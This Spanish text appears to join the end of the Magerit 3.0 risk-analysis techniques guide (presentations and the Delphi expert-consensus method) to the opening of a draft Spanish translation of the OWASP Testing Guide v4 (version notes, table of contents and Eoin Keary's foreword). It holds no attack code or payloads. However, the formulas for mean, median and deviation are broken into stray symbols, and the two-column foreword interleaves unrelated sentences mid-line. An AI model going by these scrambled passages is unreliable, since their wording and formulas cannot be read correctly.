parte del equipo de trabajo al auditorio que corresponda. Se llevan a cabo con el fin de informar
sobre el estado de un proyecto en su totalidad o de alguno de los procesos, o exponer uno o va-
rios productos finales de un proceso para su aprobación.
En primer lugar se establece el alcance de la presentación, determinando cuál es el objetivo prin-
cipal y qué contenido general se quiere comunicar.
Una vez que están claros estos puntos, se inicia la preparación de la presentación considerando
quién es el ponente, qué tema se va a exponer, cuál va ser la duración estimada y a qué tipo de
audiencia o auditorio va dirigida la presentación considerando, a su vez, el nivel de decisión que
tengan sus componentes. Todos estos factores van a influir en el tono más o menos formal de la
presentación, en el nivel de detalle que requiere la presentación y en los medios a utilizar.
La eficacia de una presentación está directamente relacionada con el conocimiento que posea el
ponente sobre el tema a exponer, así como de la audiencia a quién va dirigido.
Las cuestiones que guían esta preparación responden a las preguntas, a quién se dirige, qué se
espera conseguir, de cuánto tiempo se dispone, dónde se va exponer y con qué medios.
Una vez analizados todos estos aspectos, se estructura el mensaje que se quiere transmitir a la
audiencia de forma que sea significativo y esté bien organizado. Su estructura se apoya en los
objetivos y en el concepto esencial que se está tratando y se divide en una apertura o introduc-
ción, una visión previa, el cuerpo del tema, una revisión y la conclusión final. Previamente, el po-
nente debe decidir cuál es el enfoque más eficaz que le quiere dar al tema que va a exponer en
función de la audiencia a quien va dirigido.
Para conseguir el objetivo de una presentación no es suficiente preparar de una forma estructura-
da el mensaje, sino que además, el contenido se debe exponer de una forma convincente, utili-
zando pruebas o materiales de apoyo que refuercen la credibilidad a la audiencia.
Por este motivo es importante seleccionar cuidadosamente el material de apoyo que se va a utili-
zar como pueden ser datos estadísticos, análisis de resultados, etc.
También tiene especial relevancia escoger los apoyos audiovisuales oportunos que aclaren con-
ceptos o datos difíciles de captar, resaltar puntos significativos, reforzar la comunicación verbal,
despertar interés, cambiar el ritmo de la presentación, etc. Habrá que seleccionar los temas que
requieren mayor soporte audiovisual.
Conviene señalar que no se debe utilizar un número excesivo de medios ya que no son un fin en
sí mismos y podrían dispersar la atención de la audiencia convirtiéndose en fuente de posibles
imprevistos por fallos técnicos y repercutiendo negativamente en el ritmo de la presentación. Por
este motivo, es importante conocer las ventajas e inconvenientes de cada medio como son piza-
rras, transparencias, diapositivas, vídeos, ayudas informatizadas, etc., para seleccionar el más
apropiado y garantizar el éxito de la presentación.
Antes de iniciar la exposición, habrá que asegurar la disponibilidad de todos los recursos materia-
les necesarios que se hayan considerado oportunos en la preparación de la presentación.

Durante el desarrollo, es fundamental que el ponente hable con el ritmo adecuado y con un estilo
verbal claro, correcto y conciso, y que cuide los aspectos formales. También debe mantener cen-
trado el tema objeto de la presentación, resaltando los puntos más importantes y utilizando el ma-
terial de soporte de forma adecuada y en el momento preciso, con el fin de captar la atención del
auditorio.
Conviene prestar atención a la corrección con que el ponente se relaciona con la audiencia. Debe
intentar mantener una actitud positiva y abierta ante las posibles preguntas o comentarios.
El estilo no verbal es la suma de todas las claves vocales (tono, voz, etc.) y visuales (expresión
facial, gestos, movimiento, etc.) que el ponente transmite a la audiencia y es especialmente impor-
tante, ya que con él se puede ejercer un impacto significativo sobre la percepción y respuesta de
la audiencia.
Al finalizar la presentación, puede ser conveniente realizar una evaluación en la que se recojan las
capacidades del ponente, el modo en que se llevó a cabo, las características del contenido, mate-
rial utilizado, etc. y con esta información valorar el grado de satisfacción de la audiencia y tomar
las medidas que se consideren oportunas.
3.6.4. Referencias
• “Managing Information Security Risks: The OCTAVE Approach”, C.J. Alberts and A.J. Doro-
fee, Addison-Wesley Pub Co; 1st edition (July 9, 2002)
• Magerit, “Metodología de Análisis y Gestión de Riesgos de los Sistemas de Información”,
MAP, versión 1.0, 1997
http://www.csi.map.es/csi/pg5m20.htm
• ISO 31010
B.2 Entrevistas estructuradas y semiestructuradas

Magerit 3.0 Delphi
3.7. Valoración Delphi

La técnica o método Delphi 11 , original de la Rand Corporation (Research ANd Development), co-
menzó a aplicarse desde 1948 en un proyecto avanzado de las Fuerzas Aéreas de los Estados
Unidos y la Compañía Douglas de Aviación, orientándose desde entonces a los estudios prospec-
tivos de investigación espacial. De forma paulatina la técnica diseñada por la Rand Corporation ha
ido ampliando sus campos de aplicación: así esta "reflexión intuitiva de expertos" (como algún au-
tor denomina al método Delphi), puede ser utilizada con éxito en multitud de campos y sectores.
Delphi es especialmente adecuada para Magerit por las razones siguientes:
• Es una técnica netamente cualitativa que relativamente permite tratar con alta precisión pro-
blemas técnicamente complejos.
• Está planteada como una reflexión organizada de expertos sobre un tema concreto, re-
flexión que permite recoger las ideas y opiniones más cualificadas en el ámbito de la seguri-
dad (valoración de activos e identificación de amenazas e impactos).
• Se desarrolla a partir de un cierto ‘escenario inicial’ de modo que permita una adecuada re-
capitulación e identificación de los problemas que ya existen actualmente.
• Desarrolla una prospectiva mucho más rica que la mera identificación de la opinión mayori-
taria, por medio de un proceso de convergencia de opiniones que se consigue mediante
rondas sucesivas de entrevistas.
• Garantiza satisfactoriamente la ‘limpieza’ de la investigación, impidiendo el predominio de
unos expertos sobre otros por razones ajenas a la calidad de sus opiniones.
La técnica Delphi es un instrumento de uso múltiple que se utiliza con muy variados objetivos:
• Identificar problemas.
• Desarrollar estrategias para la solución de problemas, fijando un rango de alternativas posi-
bles.
• Identificar factores de resistencia en el proceso de cambio.
• Establecer previsiones de futuro sobre la evolución de las tendencias que se observan en un
determinado campo o sector.
• Contrastar opiniones en un tema abarcando un amplio campo de disciplinas o sectores.
3.7.1. Resumen ejecutivo

1. Se prepara un cuestionario con los temas cuya valoración se desea conocer. Este punto es
crítico para el éxito de los siguientes pasos. Para la elaboración de un buen cuestionario se
requiere experiencia y conocimiento del tema que se desea investigar.
2. Se distribuye entre los sujetos que tienen una opinión relevante en el tema a investigar: los
expertos.
3. Con las respuestas recibidas, se prepara un histograma indicando cuántos entrevistados se
decantan por cada nivel de valoración.
4. Si hay una clara concentración de respuestas en torno a un único valor, el proceso ha aca-
bado: hay un claro consenso en el valor buscado.
5. Si hay diferencias importantes de opinión, se remite de nuevo el mismo cuestionario; pero
esta vez acompañado del histograma. Si se han apreciado ambigüedades en el primer cues-
tionario, deben aclararse en esta segunda ronda. A los entrevistados se les inquiere sobre si
consideran que deben mantener su primera opinión o prefieren modificarla.
11 “Delphi” es la forma inglesa de pronunciar Delfos, población griega famosa por su oráculo. Pese al origen
fonético, el método usado por el Oráculo de Delphos (adivinación) no tenía nada que ver con el usado
con el método Delphi (consenso de opinión entre expertos). Delphi basa la calidad de sus resultados en
la hipótesis de que cuando no existe un conocimiento preciso de la realidad, lo mejor que se puede hacer
es recoger la opinión, consensuada, de un grupo lo más amplio posible de expertos en la materia.

Magerit 3.0 Delphi
6. Si el histograma de esta segunda ronda sigue sin mostrar una respuesta clara, se pueden
realizar nuevas rondas o convocar a los entrevistados en una reunión conjunta para llegar a
un consenso.
7. Ante un histograma disperso, siempre hay que preguntarse si se ha hecho la pregunta co-
rrecta a las personas correctas, si la pregunta estaba claramente expresada o si, por el con-
trario se debe volver a empezar con nuevas preguntas y/o nuevos entrevistados.
Se determina qué opiniones cuentan
Se elabora un cuestionario
¿cuánto vale X?
Se distribuye el cuestionario
Se recogen las respuestas
Se tabulan las respuestas
Se distribuye no
1. el cuestionario ¿consenso?
2. las respuestas
si
ya está
En sentido estricto, Delphi no es tanto un método como un conjunto de técnicas que se aplican
según las circunstancias. Algunos aspectos hay que determinarlos en cada caso:
Número de participantes.
Se estima que el número ideal se encuentra entre 15 y 35 expertos. Aplicado al análisis de
riesgos, se pueden establecer grupos amplios en temas generales (por ejemplo, frecuencia
típica de una amenaza o idoneidad de una salvaguarda para un riesgo); pero en temas pun-
tuales es difícil pasar de unos pocos participantes (por ejemplo, para valorar un activo).
Número de rondas.
La segunda ronda es necesaria salvo que haya un consenso suficiente en la primera. Suce-
sivas rondas pueden dar una opinión más refinada; pero no esto no siempre se consigue por
diferentes motivos:
• los expertos muestran rápidamente síntomas de agotamiento, disminuyendo su disposi-
ción a colaborar
• probablemente lo que está mal es el diseño del cuestionario y más vale revisarlo que in-
sistir en el error
Como recomendación general para proyectos de análisis y gestión de riesgos, se puede
centrar en número estándar en dos rondas.
3.7.2. Aspectos sociológicos

Delphi permite que un grupo trabaje aisladamente y de forma anónima. Es un instrumento que
agrupa sistemáticamente las opiniones de un grupo y evita el excesivo protagonismo que pueden
ejercer algunas personas, además de cualidades como éstas:
• La generación de ideas de forma aislada produce una mayor cantidad de éstas en el conjun-
to del grupo seleccionado.

Magerit 3.0 Delphi
• El proceso de respuestas escritas a las preguntas formuladas obliga a los que responden a
pensar en toda la complejidad del problema y a proponer, por tanto, ideas de gran calidad.
• La conducta del grupo es proactiva, puesto que los que responden no pueden reaccionar
ante las ideas expresadas por los otros, eliminando posibles excesos de protagonismo que
se manifiestan cuando se expresan opiniones de forma directa y simultánea.
• El anonimato y el aislamiento entre los que responden proporciona una gran libertad frente a
la presión hacia el conformismo en las opiniones.
• La técnica es válida para obtener opiniones de expertos que se encuentren físicamente ale-
jados.
• Se puede comprobar que el error de predicción de un conjunto de expertos en un tema es
siempre menor que la media de los errores de las opiniones individuales de las personas
que lo integran.
3.7.3. Análisis de las respuestas

Delphi implica un análisis estadístico del producto de cada una de las rondas de cuestionarios. El
análisis debe garantizar que la opinión de cada uno de los expertos se encuentre representada en
la respuesta final.
Para determinar si hay consenso se necesita una medida de la dispersión de las respuestas. Para
determinar cual es el consenso se necesita un punto de convergencia.
El análisis es diferente si se busca un valor en una escala continua de valoración (por ejemplo, inten-
tando determinar el valor de un activo para la Organización) o si se intenta identificar elementos a
considerar (por ejemplo, activos que deben incluirse en el análisis). En el caso de opiniones de valor,
se recurre a estimaciones estadísticas. En el caso de opiniones, se recurre a esquemas de votación.
3.7.3.1. Análisis estadístico

Las respuestas se ubican sobre una escala de valores, lineal o logarítmica según la naturaleza del
problema que se esté analizando. En aspectos de percepción subjetiva de valor, las escalas loga-
rítmicas suelen ser las más adecuadas.
Dados n valores, x 1, x 2, ... , x n se definen los siguientes estadísticos:

Media o valor medio
n
1
x xi
n i 1
Mediana
Habiendo ordenado los valores x i en orden ascendente (de menor a mayor), se deno-
mina mediana al primer valor que deja por debajo al 50% de los datos; es decir al va-
lor en la posición n 2
Desviación estándar o típica
n
1 2
xi x
n 1 i 1
Desviación media
n
1
desviación media xi x
ni 1
Cuartiles. Habiendo ordenado los valores en orden ascendente, se definen 3 puntos de interés
Q1: primer valor que deja por debajo al 25% de los datos
Q2: primer valor que deja por debajo al 50% de los datos (la mediana)
Q3: primer valor que deja por debajo al 75% de los datos
Magerit 3.0 Delphi
Recorrido intercuartílico
Se define como la distancia Q3 – Q1.
Es el rango que recoge las opiniones del 50% de los expertos más “centrados”.
Para determinar el valor de consenso se pueden utilizar la media o la mediana, si bien esta última
es habitualmente más adecuada por ser inmune a las opiniones más extremas.
Para determinar la dispersión se puede utilizar la desviación estándar, la media o el recorrido in-
tercuartílico. La desviación estándar da una importancia mayor a la existencia de respuestas muy
alejadas de la media, lo que suele considerarse mala idea. El recorrido intercuartílico es el más
adecuado para desechar opiniones extremas.
En cualquier caso, cuando se remiten los resultados de una ronda para la siguiente ronda, con-
viene acompañar los estadísticos de un histograma o diagrama de frecuencia de las respuestas
agrupadas en intervalos. Sobre este histograma conviene indicar algunos los valores importantes:
• la mediana o cuartil Q3
• la media
• el cuartil Q1
• el cuartil Q3
• los valores extremos: los más alejados por arriba y por abajo
3.7.3.2. Votaciones
Cuando las respuestas no se pueden asociar a un valor numérico sobre una escala continua de
valores, hay que recurrir a técnicas de votación.
Sea una pregunta con N posibles respuestas, de las que hay que determinar cual es más adecua-
da.
Una opción es pedirle al experto que valore de 0 a 10 la conveniencia de cada una de las posibles
respuestas. En el análisis se puede determinar la valoración media recibida por cada respuesta.
En la siguiente ronda, el experto puede estar de acuerdo con la puntuación de consenso, o seguir
insistiendo en su opinión divergente.
La valoración de consenso y la medida de dispersión se pueden estimar estadísticamente (ver
sección anterior).
Otra opción es pedirle al experto que seleccione las 5 mejores respuestas y les asigne 5 puntos a
la mejor, 4 a la segunda mejor, 3 a la tercera, 2 a la cuarta y uno a la quinta 12 . En el análisis se
suman los puntos recibidos por cada respuesta para determinar su posición relativa en la ordena-
ción de consenso. En la siguiente ronda, el experto puede estar de acuerdo en la ordenación de
consenso, o seguir insistiendo en su opinión divergente.
3.7.4. Resumen
Se pueden resumir los rasgos esenciales de un proceso Delphi en los siguientes puntos:
• Anonimato de respuestas, que reduce las distorsiones de personalidades dominantes que
pudieran producirse en reuniones o comités de expertos.
• ‘Feedback’ o realimentación controlada por medio de interacciones sucesivas de modo que
en cada una el experto posee la información que se refiere a la interacción previa.
• Análisis estadístico de las respuestas del grupo, que permite ir consiguiendo el acuerdo ra-
zonado de los expertos evitando cualquier modo de presión para obtener modificaciones en
sus puntos de vista.
• Énfasis puesto en la opinión informada, que en ocasiones puede ser contraria a la más co-
mún o generalizada en la sociedad.
12 Obviamente, hay que adecuar estos números a cada caso concreto.

Magerit 3.0 Delphi
3.7.5. Referencias
• ISO 31010
B.3 Técnica Delphi
• J. Fowles, “Handbook of Futures Research. Westport, Greenwood Press, 1978.

• H.A. Linstone and M. Turoff (eds), “The Delphi Method: Techniques and Applications”, Read-
ing, MA: Addison-Wesley Publishing Company, 1975.
• N.C. Dalkey, “The Delphi Method: An Experimental Study of Group Opinion”, RAND Corpo-
ration, RM-5888-PR, 1969.
• O. Helmer, “Analysis of the Future: The Delphi Method”. RAND Corporation Technical Re-
port, P-3558, March 1967.
• N. Dalkey and O. Helmer, “An Experimental Application of the Delphi Method to the Use of
Experts”. Management Science, vol. 9, no. 3, April 1963.
• M. Girshick, A. Kaplan and A. Skogstad, “The Prediction of Social and Technological
Events”. Public Opinion Quarterly, Spring 1950.

Guia de pruebas 4.0 "Borrador"
FERNANDO VELA
ROBERTO ANDRADE
QUITO- ECUADOR
Documento Pre-release cortesía de Fernando Vela para drangonjar.org

1
LOS ICONOS DE ABAJO REPRESENTAN QUE

OTRAS VERSIONES ESTÁN DISPONIBLES EN
IMPRESO PARA ESTE TÍTULO DE LIBRO.
ALPHA: el contenido del libro "Calidad Alfa" es

un borrador de trabajo. El contenido es muy
áspero y en desarrollo hasta el nivel siguiente de
la publicación.
BETA: el contenido del libro "Calidad Beta" es el

siguiente nivel más alto. El contenido está
todavía en desarrollo hasta la próxima
publicación.
RELEASE: el contenido del libro "Calidad de

Liberación" es el más alto nivel de calidad en un
título del libro ciclo de vida, y es un producto final.

2

3
Indice
0
Página 6-8
Prologo por Eoin Keary
1
Página 9-12
Frontispicio
Acerca de el proyecto de guia de pruebas OWASP
Acerca de el Proyecto de Seguirdad de Aplicaciones WEB Abierta
2
Página 13-37
Introduction
El proyecto de pruebas OWASP
Principios de la prueba
Explicación de las técnicas de prueba
Derivar requerimientos de pruebas de seguirdad
Las pruebas de seguridad integradas al desarrollo y flujos de trabajo de las pruebas de seguridad
Análisis de datos de prueba de seguridad y reportes
3
Página 38-41
El marco referencial (framework) de pruebas de OWASP
Resumen
Fase1: Antes del inicio del desarrollo

1
Fase 2: Durante la definición y diseño
Fase 3: Durante el desarrollo
Fase 4: Durante la fase de implementación
Fase 5: Mantenimiento y operaciones
Flujo de trabajo del marco de pruebas de OWASP
4
Páginas 42-313
Pruebas de seguridad de aplicaciones WEB
Introducción y objetivos
Listado de validación de pruebas
Recopilación de información
Conducir motor de busqueda para el descubrimiento y reconocimiento de fugas de información (OTG-INFO-001)
Huellas digitales servidor WEB (OTG-INFO-002)
Revision de los meta archivos del servidor web en busca de fugas de información (OTG-INFO-003)
Ennumere las aplicaciones en el servidor WEB (OTG-INFO-004)
Revisión de los comentarios del sitio web y los metadatos en busca de fujas de información (OTG-INFO-005)
Identificar puntos de entrada de la aplicación (OTG-INFO-006)
Creación de mapas de rutas de ejecución a través de la aplicación (OTG-INFO-007)
Marco referencial para el uso de huellas digitales en aplicaciones WEB (OTG-INFO-008)
Huellas digitales aplicaciones WEB (OTG-INFO-009)
Mapa de arquitectura de la aplicación (OTG-INFO-010)
Pruebas para gestionar la configuración y la implementación
Prueba configuración Red/Infraestructura (OTG-CONFIG-001)
Prueba de la configuración de la plataforma de aplicaciónes (OTG-CONFIG-002)
Prueba manejo de archivos de extensiones en busca información sensible (OTG-CONFIG-003)
Revisión archivos viejos, copias de seguridad y archivos no referenciados para Información sensible (OTG-CONFIG-004)
Enumeración Infraestructura y de Interfaces de administración de aplicaciones (OTG-CONFIG-005)

2
Prueba metodos HTTP (OTG-CONFIG-006)
Prueba HTTP Strict Transport Security (OTG-CONFIG-007)
Prueba política de dominio cruzado RIA (OTG-CONFIG-008)
Pruebas de Administración de Identidad
Prueba de definición de roles (OTG-IDENT-001)
Prueba proceso de registro de usuarios (OTG-IDENT-002)
Prueba proceso de provisión de cuentas (OTG-IDENT-003)
Pruebas para ennumeración de cuentas y adivinanza de cuentas de usuario (OTG-IDENT-004)
Pruebas politica de nombre de usuarios debiles o sin fuerza (OTG-IDENT-005)
Pruebas de autenticación
Pruebas para credenciales transportadas sobre canales encriptados (OTG-AUTHN-001)
Pruebas credenciales por defecto (OTG-AUTHN-002)
Pruebas para mecanismos de seguridad débiles (OTG-AUTHN-003)
Pruebas para eludir el esquema de autenticación (OTG-AUTHN-004)
Prueba funcionalidad recordatorio de clave (OTG-AUTHN-005)
Prueba para debilidades en la memoria del navegador (OTG-AUTHN-006)
Prueba para politica de clave débil (OTG-AUTHN-007)
Prueba para seguirdad pregunta/respuest débil (OTG-AUTHN-008)
Prueba para cambios de clave débil o funcionalidades de reinio. (OTG-AUTHN-009)
Prueba para autenticación débil en canal alternativo (OTG-AUTHN-010)
Pruebas de autorización
Prueba de inclusión archivos de directorio de circulación (OTG-AUTHZ-001)
Prueba para evadir el esquema de autorización (OTG-AUTHZ-002)
Prueba para escalación de privilegios (OTG-AUTHZ-003)
Prueba de la referencia de objetos directos inseguros (OTG-AUTHZ-004)
Pruebas de administración e sesión
Prueba para evadir el esquema de administración de sesión (OTG-SESS-001)
Prueba para atributos de cookies (OTG-SESS-002)

3
Prueba de fijación de sesión (OTG-SESS-003)
Prueba de exposición de variables de sesión (OTG-SESS-004)
Prueba para falsificación de petición de sitio cruzado (CSRF) (OTG-SESS-005)
Pruebas funcionalidad cierre de sesión (OTG-SESS-006)
Pruebas del tiempo cierre de sesión (OTG-SESS-007)
Prueba para sobrecarga de variables (Session puzzling) (OTG-SESS-008)
Pruebas de validación de entradas
Pruebas para la reflexión de Cross Site scripting (OTG-INPVAL-001)
Pruebas de Cross Site Scripting almacenados (OTG-INPVAL-002)
Pruebas de manipulación de verbos en HTTP (OTG-INPVAL-003)
Pruebas de contaminación de parámetros HTTP (OTG-INPVAL-004)
Pruebas de Inyecciones de SQL (OTG-INPVAL-005)
Pruebas en Oracle
Pruebas de MySQL
Pruebas del servidor SQL (SQL Server)
Probar la seguridad del proyecto de acceso restringido PostgresSQL de OWASP
Pruebas para MS Access
Pruebas de inyección NoSQL
Pruebas de inyección LDAP (OTG-INPVAL-006)
Pruebas de inyección de ORM (OTG-INPVAL-007)
Pruebas de inyección de XML (OTG-INPVAL-008)
Pruebas de inyección SSI (OTG-INPVAL-009)
Pruebas de inyección XPath (OTG-INPVAL-010)
Pruebas de inyección de IMAP/SMTP (OTG-INPVAL-011)
Pruebas de inyección de código (OTG-INPVAL-012)
Pruebas para determinar la inclusión de documentos locales
Pruebas para la inclusión remota de archivos
Pruebas de inyección de comandos (OTG-INPVAL-013)

4
Pruebe la saturación del Búfer (OTG-INPVAL-014)
Pruebas de saturación de Heap
Probar la saturación de pila de datos
Pruebas para la cadena de formato
Pruebas de las vulnerabilidades incubadas (OTG-INPVAL-015)
Pruebas para verificar la separación/contrabando de HTTP (OTG-INPVAL-016)
Pruebas de manejo de errores
Pruebas de errores de código (OTG-ERR-001)
Pruebas para determinar los rastors de pila de datos (OTG-ERR-002)
Pruebas para Critografía débil
Pruebas de codificadores SSL/TLS débiles, pritección de trasnporte de capas insuficiente (OTG-CRYPST-001)
Prueba del Padding Oracle (REelleno de Oracle) (OTG-CRYPST-002)
Pruebas para el envío de información sensible por canales sin encriptar (OTG-CRYPST-003)
Prueba de la lógica del negocio
Pruebas de la validación de datos de la lógica del negocio (OTG-BUSLOGIC-001)
Prueba de la habilidad para manipular consultas (OTG-BUSLOGIC-002)
Prueba de comprobación de integridad (OTG-BUSLOGIC-003)
Pruebas del tiempo de procesamiento (OTG-BUSLOGIC-004)
Prueba del número de veces que limita el uso de una función (OTG-BUSLOGIC-005)
Pruebas para la evasión de los flujos de trabajo (OTG-BUSLOGIC-006)
Prueba de las defensas contra el mal uso de la aplicación (OTG-BUSLOGIC-007)
Prueba de la posibilidad de carga de tipos de archivos inesperados (OTG-BUSLOGIC-008)
Prueba de la posibilidad de carga de archivos maliciosos (OTG-BUSLOGIC-009)
Pruebas en el lado del cliente
Prueba del Cross Site Scripting basado en DOM (OTG-CLIENT-001)
Prueba de la ejecución de JavaScript (OTG-CLIENT-002)
Prueba de inyección de HTML (OTG-CLIENT-003)
Pruebas de redireccionamiento de la URL del lado del cliente (OTG-CLIENT-004)

5
Pruebas de inyección de CSS (OTG-CLIENT-005)
Pruebas de la manipulación de recursos del lado del cliente (OTG-CLIENT-006)
Pruebas para el Intercambio de recursos de origen cruzado (OTG-CLIENT-007)
Pruebas de Cross Site Flashing (OTG-CLIENT-008)
Pruebas de Clickjacking (OTG-CLIENT-009)
Pruebas de WebSockets (OTG-CLIENT-010)
Prueba de mensajería web (Web Messaging) (OTG-CLIENT-011)
Prueba de Almacenamiento Local (OTG-CLIENT-012)
5
Páginas 314-331
Apéndice
Apéndice A: Herramientas de prueba
Herramientas de Pruebas de Caja Negra de código abierto
Apéndice B: Lecturas sugeridas
Libros Blancos
Libros
Páginas Web Útiles
Apéndice C: Vectores Fuzz
Categorías Fuzz
Apéndice D: Inyección codificada
Codificación de entrada
Codificación de salida

6
Prólogo de la Guía de Pruebas

El problema del software no seguro es quizás el desafío técnico
0
más importante de nuestro tiempo. El dramático aumento de las
aplicaciones web para negocios, redes sociales, etc. sólo ha
7
complicado los requerimientos para definir un enfoque robusto

para escribir y asegurar nuestras Aplicaciones Web e Información.
Prólogo de Eoin Keary, Consejo Global OWASP
El problema del software inseguro es quizás el desafío técnico más importante

de nuestro tiempo. El aumento espectacular de las aplicaciones web que
permiten generar negocios, redes sociales, etc. sólo ha agravado los requisitos
para establecer un enfoque robusto para escribir y asegurar nuestros Internet,
Aplicaciones Web y Datos.
En el Proyecto de Seguridad para Aplicaciones en Red Abierta (OWASP),

estamos tratando de hacer del mundo un lugar donde el software inseguro sea
la anomalía, no la norma. La Guía de Pruebas OWASP tiene un papel
importante que desempeñar en la solución de este grave problema. Es de vital
importancia que nuestro enfoque para pruebas de software por temas de
seguridad se base en los principios de ingeniería y ciencia. Necesitamos un
enfoque consistente, repetible y definido para las pruebas de aplicaciones web.
Un mundo sin normas mínimas en materia de ingeniería y tecnología es un
mundo caótico.
Es obvio que no se puede construir una aplicación segura sin realizar pruebas
de seguridad en la misma. Las pruebas son parte de un enfoque más amplio en
la construcción de un sistema seguro. Muchas organizaciones de desarrollo de
software no incluyen pruebas como parte de su procedimiento estándar de
desarrollo de software. Lo que es peor aún, muchos proveedores de seguridad
entregan pruebas con diversos grados de calidad y rigor.
Las pruebas de seguridad, por sí mismas, no son una medida de seguridad

particularmente confiable de lo segura que es una aplicación, ya que hay un
número infinito de formas en que un atacante podría ser capaz de romper la
aplicación, y simplemente no es posible poner a prueba a todas ellas. No
podemos nosotros mismos hackear seguridades y solo tenemos un tiempo
limitado para probar y defender mientras que un atacante no tiene estas ¿Por qué OWASP?
limitaciones.
Crear una guía como esta es una gran tarea que requiere de la experiencia de
En conjunto con otros proyectos de la OWASP como la Guía de Revisión de
cientos de personas alrededor del mundo. Hay muchas maneras diferentes
Códigos, la Guía de Desarrollo y Herramientas como OWASP ZAP, es un
para detectar fallos de seguridad y esta guía captura el consenso de los
gran comienzo para la construcción y mantenimiento de aplicaciones seguras. principales expertos sobre cómo realizar esta prueba con rapidez, exactitud y
La guía de desarrollo mostrará para su proyecto cómo diseñar y construir una eficiencia.OWASP da a personas de seguridad con conocimientos afines la
aplicación segura, la Guía de Revisión de Códigos le dirá cómo verificar la capacidad de trabajar conjuntamente y formar un enfoque de práctica de
seguridad del código de origen de su aplicación, y esta Guía de Pruebas le liderazgo para un problema de seguridad.
mostrará cómo verificar la seguridad de su aplicación en funcionamiento. Yo
recomiendo utilizar estas guías como parte de sus iniciativas para la seguridad
de su aplicación.

8
La importancia de tener esta guía en forma totalmente libre y abierta es • Los desarrolladores deben usar esta guía para asegurarse de que están
importante para la misión de las fundaciones. Da a cualquiera la capacidad de produciendo códigos seguros. Estas pruebas deben ser parte de los
entender las técnicas usadas para detectar problemas de seguridad comunes. procedimientos normales de los códigos y de la unidad de pruebas.
La seguridad no debe ser un arte oscuro o un secreto cerrado que sólo unos
pocos pueden practicar. Debe estar abierta a todos y no ser exclusiva para los
profesionales en seguridad, sino también para desarrolladores de control de
calidad y gerentes técnicos. El proyecto para la construcción de esta guía • Los evaluadores de software y control de calidad deben usar esta guía para
mantiene la experiencia en manos de la gente que lo necesita; usted, yo y ampliar el conjunto de casos de prueba que emplean en las aplicaciones.
cualquier persona que participa en la construcción de software. Atrapar estas vulnerabilidades tempranamente es un ahorro considerable de
tiempo y esfuerzo más adelante.
Esta guía debe abrirse paso hasta las manos de los desarrolladores y
evaluadores de software. No hay suficientes expertos de seguridad de • Los especialistas en seguridad deben usar esta guía en combinación con
aplicaciones en el mundo para hacer una abolladura significativa en el otras técnicas como una manera de verificar que no se haya escapado algún
problema general. agujero de seguridad en la aplicación.
• Los gerentes de proyectos deben considerar la razón por la que esta guía
existe y que las cuestiones de seguridad se manifiestan mediante errores de
La responsabilidad inicial de seguridad de las aplicaciones debe recaer en los código y diseño.
hombros de los desarrolladores; ellos escriben el código. No debería ser una
sorpresa que los desarrolladores no están produciendo codificación segura si
no la están probando o consideran los tipos de errores que generan la
vulnerabilidad. Lo más importante cuando se realizan pruebas de seguridad es recordar que
se deben priorizar continuamente. Hay un número infinito de posibilidades
para que una aplicación pueda fallar, y las organizaciones siempre han tenido
tiempo y recursos limitados. Asegúrese de que el tiempo y los recursos se
Mantener esta información actualizada es un aspecto crítico de este proyecto utilicen adecuadamente. Trate de concentrarse en los agujeros de seguridad
de guía. Adoptando el enfoque wiki, la comunidad OWASP puede que son un riesgo real para su negocio. Trate de contextualizar el riesgo en
evolucionar y ampliar la información en esta guía para mantener el ritmo con cuanto a la aplicación y sus usos.
el panorama de la veloz amenaza de seguridad a las aplicaciones.
Esta guía se visualiza mejor como un conjunto de técnicas que puede utilizar
para encontrar diferentes tipos de agujeros de seguridad. Pero no todas las
técnicas son igual de importantes. Trate de evitar el uso de la guía como una
Esta guía es un gran testimonio de la pasión y energía que nuestros miembros lista de verificación. Nuevas vulnerabilidades siempre se manifestarán y
y voluntarios del proyecto han dedicado a este tema. Sin duda ayudará a ninguna guía puede ser una lista exhaustiva de "cosas por probar", sino más
cambiar el mundo "una línea de código" a la vez. bien un gran lugar para comenzar.
El papel de las herramientas automatizadas

Confeccionar y Priorizar
Existe un número de empresas que venden análisis de seguridad

Usted debería adoptar esta guía en su organización. Deberá adaptar la automatizados y herramientas de prueba. Recuerde las limitaciones de estas
información para que coincida con la tecnología, procesos y estructura herramientas para que pueda usarlas para lo que son buenas. Como Michael
organizacional de su empresa.
Howard dijo en la Conferencia del 2006 de OWASP AppSec en Seattle: "¡las
herramientas no hacen al software seguro! Ayudan a elevar el proceso y a
cumplir la política."
En general, hay varios roles diferentes que pueden usar esta guía dentro de las
organizaciones:
Lo más importante, estas herramientas son genéricas; lo que significa que no
están diseñadas para un código personalizado, sino para aplicaciones en

9
general. Eso significa que mientras pueden encontrar algunos problemas de las aplicaciones, pero no es exhaustiva. Si encuentra errores, por favor
genéricos, no tienen suficiente conocimiento de la aplicación para que puedan agregue una nota en la página de discusión o haga el cambio usted mismo.
detectar la mayoría de los errores. En mi experiencia, los más graves Estará ayudando a miles de personas que utilizan esta guía.
problemas de seguridad son los que no son genéricos, sino profundamente
entrelazados en su lógica de negocio y diseño de la aplicación personalizada.
Por favor, considere unirse a nosotros como miembro individual o

corporativo, para que podamos seguir produciendo materiales como esta guía
Estas herramientas también pueden ser seductoras, puesto que encuentran una de prueba y todos los otros grandes proyectos en OWASP.
gran cantidad de problemas potenciales. Mientras que ejecutar las
herramientas no toma mucho tiempo, cada uno de los problemas potenciales
toma tiempo en investigar y verificar. Si el objetivo es encontrar y eliminar los
defectos más graves lo más rápidamente posible, considere si es mejor utilizar Gracias a todos los participantes pasados y futuros de esta guía; su trabajo
su tiempo con herramientas automatizadas o con las técnicas descritas en esta ayudará a hacer aplicaciones más seguras en todo el mundo.
guía. Sin embargo, estas herramientas son, sin duda, parte de un programa de
seguridad de aplicaciones bien equilibrado. Usadas sabiamente, pueden
apoyar sus procesos globales para producir un código más seguro.
Llamado a la acción
Eoin Keary, Miembro de la Junta Directiva de OWASP, Abri 19, 2013
Si está construyendo, diseñando o probando software, le animo a

familiarizarse con la guía de la prueba de seguridad en este documento. Es un
gran mapa para probar los problemas más comunes que enfrentan hoy los usos
Frontispicio de la Guía de Prueba
1 "Conocimiento abierto y colaborativo: ésta es la forma de la

OWASP."

10
Con V4 nos dimos cuenta de una nueva guía que será la guía estándar
por defecto para realizar pruebas de Penetración de Aplicaciones
Web. -Matteo Meucci.
El Proyecto de Pruebas OWASP
2 El proyecto de pruebas OWASP ha sido desarrollado durante muchos

años. El objetivo del proyecto es ayudar a las personas a entender el
qué, por qué, cuándo, dónde y cómo de la prueba de las aplicaciones
web.
